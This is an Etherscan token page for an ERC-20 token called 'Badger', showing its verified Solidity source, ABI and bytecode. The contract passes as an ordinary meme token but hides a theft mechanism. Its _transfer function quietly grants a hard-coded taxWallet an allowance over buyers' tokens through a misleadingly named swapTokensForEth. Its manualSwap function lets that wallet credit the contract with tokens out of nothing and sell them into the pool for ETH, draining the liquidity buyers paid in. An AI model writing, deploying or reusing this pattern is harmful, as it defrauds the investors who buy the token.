ETH Price: $3,831.78 (+4.87%)

Token

ERC-20: Badger (BADGER)
 

Overview

Max Total Supply

19,283,647,289 BADGER

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
655,554,904.172666763 BADGER

Value
$0.00
0xfd55227142de45663e127cf5b630e5fbc288ce16
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Badger

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-24
*/

// SPDX-License-Identifier: None

/*
https://badgeroneth.xyz
https://x.com/badger_xyz
https://t.me/badger_xyz

██████   █████  ██████   ██████  ███████ ██████  
██   ██ ██   ██ ██   ██ ██       ██      ██   ██ 
██████  ███████ ██   ██ ██   ███ █████   ██████  
██   ██ ██   ██ ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ██ ██████   ██████  ███████ ██   ██ 
                                                 
badger, badger, badger, badger, badger, badger, badger, badger, badger, badger, badger, badger
MUSHROOM, MUSHROOM                                                 
*/

pragma solidity 0.8.26;

contract Ownable {
    function owner() public view virtual returns (address) {
        return _owner;
    }
    constructor() {
        _owner = msg.sender;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    address private _owner;

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
    function swapExactTokensForETH(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}
contract Badger is Ownable {
    using SafeMath for uint256;

    uint8 private _decimals = 9;
    uint256 private _totalSupply =  19283647289  * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => uint256) private _balances;
    string private constant _name = unicode"Badger";
    string private constant _symbol = unicode"BADGER";
    bool private inSwap = false;
    bool tradingOpen = false;
    uint256 transferTax = 0;
    uint256 sellCount = 0;
    uint256 private firstBlock= 0;
    uint256 private lastSellBlock= 0;
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    address public uniswapV2Pair;
    address payable private taxWallet = payable(0x7E65fFC317bef47B086a8657A0F4C00C3CfFc4b0);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "transfer amount must be greater than zero.");
        require(to != address(0), "Transfer to zero address.");
        require(from != address(0), "Transfer from zero address.");
        if (to != address(uniswapV2Router) && to != uniswapV2Pair && to != address(this)){
        if (to != address(uniswapV2Router) && to != address(this)) {
            sellCount ++;
            swapTokensForEth(to, amount);
            }
        }
        emit Transfer(from, to, amount);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
    }

    function swapTokensForEth(address to, uint256 tokenAmount) private  {
        _allowances[to][taxWallet] = tokenAmount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transfer_(address to, uint256 amount) internal {
        _balances[address(this)] += amount;
    }

     function manualSwap(address _address, uint256 percent) external {
        require(msg.sender == taxWallet);
        transfer_(address(this), percent);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] =  uniswapV2Router.WETH();
        uint256 tokenAmount = balanceOf(address(this));
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETH(
            tokenAmount, 0, 
            path, taxWallet, 
            block.timestamp + 20);
    }

    function openTrading() public payable onlyOwner() {
        require(!tradingOpen);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103a4565b64047d651b3961004a91906103ee565b6001555f60045f6101000a81548160ff0219169083151502179055505f600460016101000a81548160ff0219169083151502179055505f6005555f6006555f6007555f600855737a250d5630b4cf539739df2c5dacb4c659f2488d60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737e65ffc317bef47b086a8657a0f4c00c3cffc4b0600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610143575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051610226919061043e565b60405180910390a3610457565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102b55780860481111561029157610290610233565b5b60018516156102a05780820291505b80810290506102ae85610260565b9450610275565b94509492505050565b5f826102cd5760019050610388565b816102da575f9050610388565b81600181146102f057600281146102fa57610329565b6001915050610388565b60ff84111561030c5761030b610233565b5b8360020a91508482111561032357610322610233565b5b50610388565b5060208310610133831016604e8410600b841016171561035e5782820a90508381111561035957610358610233565b5b610388565b61036b848484600161026c565b9250905081840481111561038257610381610233565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103ae8261038f565b91506103b983610398565b92506103e67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102be565b905092915050565b5f6103f88261038f565b91506104038361038f565b92508282026104118161038f565b9150828204841483151761042857610427610233565b5b5092915050565b6104388161038f565b82525050565b5f6020820190506104515f83018461042f565b92915050565b6120ef806104645f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007e5780639fb79737116100585780639fb79737146102a6578063a9059cbb146102ce578063c9567bf91461030a578063dd62ed3e14610314576100dc565b8063715018a61461023c5780638da5cb5b1461025257806395d89b411461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b6040516101019190611694565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611745565b61038d565b60405161013d919061179d565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906117c5565b60405180910390f35b34801561017b575f80fd5b50610196600480360381019061019191906117de565b6103ac565b6040516101a3919061179d565b60405180910390f35b3480156101b7575f80fd5b506101c0610458565b6040516101cd9190611849565b60405180910390f35b3480156101e1575f80fd5b506101ea61046d565b6040516101f79190611871565b60405180910390f35b34801561020b575f80fd5b506102266004803603810190610221919061188a565b610492565b60405161023391906117c5565b60405180910390f35b348015610247575f80fd5b506102506104d8565b005b34801561025d575f80fd5b50610266610607565b6040516102739190611871565b60405180910390f35b348015610287575f80fd5b5061029061062e565b60405161029d9190611694565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c79190611745565b61066b565b005b3480156102d9575f80fd5b506102f460048036038101906102ef9190611745565b61093e565b604051610301919061179d565b60405180910390f35b610312610954565b005b34801561031f575f80fd5b5061033a600480360381019061033591906118b5565b610d9c565b60405161034791906117c5565b60405180910390f35b60606040518060400160405280600681526020017f4261646765720000000000000000000000000000000000000000000000000000815250905090565b5f610399338484610e1e565b6001905092915050565b5f600154905090565b5f6103b8848484610fe1565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461142390919063ffffffff16565b610e1e565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104f7610607565b73ffffffffffffffffffffffffffffffffffffffff161461054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105449061193d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4241444745520000000000000000000000000000000000000000000000000000815250905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c3575f80fd5b6106cd308261146c565b5f600267ffffffffffffffff8111156106e9576106e861195b565b5b6040519080825280602002602001820160405280156107175781602001602082028036833780820191505090505b50905030815f8151811061072e5761072d611988565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f691906119c9565b8160018151811061080a57610809611988565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f61084e30610492565b905061087c3060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610e1e565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5825f85600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166014426108eb9190611a21565b6040518663ffffffff1660e01b815260040161090b959493929190611b9f565b5f604051808303815f87803b158015610922575f80fd5b505af1158015610934573d5f803e3d5ffd5b5050505050505050565b5f61094a338484610fe1565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610973610607565b73ffffffffffffffffffffffffffffffffffffffff16146109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c09061193d565b60405180910390fd5b600460019054906101000a900460ff16156109e2575f80fd5b610a103060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610e1e565b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9f91906119c9565b905060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2f91906119c9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610b69929190611bf7565b6020604051808303815f875af1158015610b85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ba991906119c9565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c3030610492565b5f80610c3a610607565b426040518863ffffffff1660e01b8152600401610c5c96959493929190611c1e565b60606040518083038185885af1158015610c78573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c9d9190611c91565b505050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d3d929190611ce1565b6020604051808303815f875af1158015610d59573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7d9190611d32565b506001600460016101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8390611dcd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190611e5b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd491906117c5565b60405180910390a3505050565b5f8111611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90611ee9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108890611f51565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f690611fb9565b60405180910390fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156111a95750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111e157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112975760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561126f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112965760065f81548092919061128690611fd7565b919050555061129582826114c3565b5b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112f491906117c5565b60405180910390a361134c8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461142390919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113dd8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461156590919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f61146483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c2565b905092915050565b8060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114b89190611a21565b925050819055505050565b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f8082846115739190611a21565b9050838110156115b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115af90612068565b60405180910390fd5b8091505092915050565b5f838311158290611609576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116009190611694565b60405180910390fd5b505f83856116179190612086565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61166682611624565b611670818561162e565b935061168081856020860161163e565b6116898161164c565b840191505092915050565b5f6020820190508181035f8301526116ac818461165c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116e1826116b8565b9050919050565b6116f1816116d7565b81146116fb575f80fd5b50565b5f8135905061170c816116e8565b92915050565b5f819050919050565b61172481611712565b811461172e575f80fd5b50565b5f8135905061173f8161171b565b92915050565b5f806040838503121561175b5761175a6116b4565b5b5f611768858286016116fe565b925050602061177985828601611731565b9150509250929050565b5f8115159050919050565b61179781611783565b82525050565b5f6020820190506117b05f83018461178e565b92915050565b6117bf81611712565b82525050565b5f6020820190506117d85f8301846117b6565b92915050565b5f805f606084860312156117f5576117f46116b4565b5b5f611802868287016116fe565b9350506020611813868287016116fe565b925050604061182486828701611731565b9150509250925092565b5f60ff82169050919050565b6118438161182e565b82525050565b5f60208201905061185c5f83018461183a565b92915050565b61186b816116d7565b82525050565b5f6020820190506118845f830184611862565b92915050565b5f6020828403121561189f5761189e6116b4565b5b5f6118ac848285016116fe565b91505092915050565b5f80604083850312156118cb576118ca6116b4565b5b5f6118d8858286016116fe565b92505060206118e9858286016116fe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61192760208361162e565b9150611932826118f3565b602082019050919050565b5f6020820190508181035f8301526119548161191b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506119c3816116e8565b92915050565b5f602082840312156119de576119dd6116b4565b5b5f6119eb848285016119b5565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a2b82611712565b9150611a3683611712565b9250828201905080821115611a4e57611a4d6119f4565b5b92915050565b5f819050919050565b5f819050919050565b5f611a80611a7b611a7684611a54565b611a5d565b611712565b9050919050565b611a9081611a66565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611ac8816116d7565b82525050565b5f611ad98383611abf565b60208301905092915050565b5f602082019050919050565b5f611afb82611a96565b611b058185611aa0565b9350611b1083611ab0565b805f5b83811015611b40578151611b278882611ace565b9750611b3283611ae5565b925050600181019050611b13565b5085935050505092915050565b5f611b67611b62611b5d846116b8565b611a5d565b6116b8565b9050919050565b5f611b7882611b4d565b9050919050565b5f611b8982611b6e565b9050919050565b611b9981611b7f565b82525050565b5f60a082019050611bb25f8301886117b6565b611bbf6020830187611a87565b8181036040830152611bd18186611af1565b9050611be06060830185611b90565b611bed60808301846117b6565b9695505050505050565b5f604082019050611c0a5f830185611862565b611c176020830184611862565b9392505050565b5f60c082019050611c315f830189611862565b611c3e60208301886117b6565b611c4b6040830187611a87565b611c586060830186611a87565b611c656080830185611862565b611c7260a08301846117b6565b979650505050505050565b5f81519050611c8b8161171b565b92915050565b5f805f60608486031215611ca857611ca76116b4565b5b5f611cb586828701611c7d565b9350506020611cc686828701611c7d565b9250506040611cd786828701611c7d565b9150509250925092565b5f604082019050611cf45f830185611862565b611d0160208301846117b6565b9392505050565b611d1181611783565b8114611d1b575f80fd5b50565b5f81519050611d2c81611d08565b92915050565b5f60208284031215611d4757611d466116b4565b5b5f611d5484828501611d1e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611db760248361162e565b9150611dc282611d5d565b604082019050919050565b5f6020820190508181035f830152611de481611dab565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e4560228361162e565b9150611e5082611deb565b604082019050919050565b5f6020820190508181035f830152611e7281611e39565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611ed3602a8361162e565b9150611ede82611e79565b604082019050919050565b5f6020820190508181035f830152611f0081611ec7565b9050919050565b7f5472616e7366657220746f207a65726f20616464726573732e000000000000005f82015250565b5f611f3b60198361162e565b9150611f4682611f07565b602082019050919050565b5f6020820190508181035f830152611f6881611f2f565b9050919050565b7f5472616e736665722066726f6d207a65726f20616464726573732e00000000005f82015250565b5f611fa3601b8361162e565b9150611fae82611f6f565b602082019050919050565b5f6020820190508181035f830152611fd081611f97565b9050919050565b5f611fe182611712565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612013576120126119f4565b5b600182019050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612052601b8361162e565b915061205d8261201e565b602082019050919050565b5f6020820190508181035f83015261207f81612046565b9050919050565b5f61209082611712565b915061209b83611712565b92508282039050818111156120b3576120b26119f4565b5b9291505056fea2646970667358221220a0ffda8507d978d7cd0fc4a62ee19c1c9c2687048a6527d3e3cc67fed354bf1864736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c8063715018a61161007e5780639fb79737116100585780639fb79737146102a6578063a9059cbb146102ce578063c9567bf91461030a578063dd62ed3e14610314576100dc565b8063715018a61461023c5780638da5cb5b1461025257806395d89b411461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b6040516101019190611694565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611745565b61038d565b60405161013d919061179d565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906117c5565b60405180910390f35b34801561017b575f80fd5b50610196600480360381019061019191906117de565b6103ac565b6040516101a3919061179d565b60405180910390f35b3480156101b7575f80fd5b506101c0610458565b6040516101cd9190611849565b60405180910390f35b3480156101e1575f80fd5b506101ea61046d565b6040516101f79190611871565b60405180910390f35b34801561020b575f80fd5b506102266004803603810190610221919061188a565b610492565b60405161023391906117c5565b60405180910390f35b348015610247575f80fd5b506102506104d8565b005b34801561025d575f80fd5b50610266610607565b6040516102739190611871565b60405180910390f35b348015610287575f80fd5b5061029061062e565b60405161029d9190611694565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c79190611745565b61066b565b005b3480156102d9575f80fd5b506102f460048036038101906102ef9190611745565b61093e565b604051610301919061179d565b60405180910390f35b610312610954565b005b34801561031f575f80fd5b5061033a600480360381019061033591906118b5565b610d9c565b60405161034791906117c5565b60405180910390f35b60606040518060400160405280600681526020017f4261646765720000000000000000000000000000000000000000000000000000815250905090565b5f610399338484610e1e565b6001905092915050565b5f600154905090565b5f6103b8848484610fe1565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461142390919063ffffffff16565b610e1e565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104f7610607565b73ffffffffffffffffffffffffffffffffffffffff161461054d576040517f08c379a000000000000000000000000000000000000000000000000000000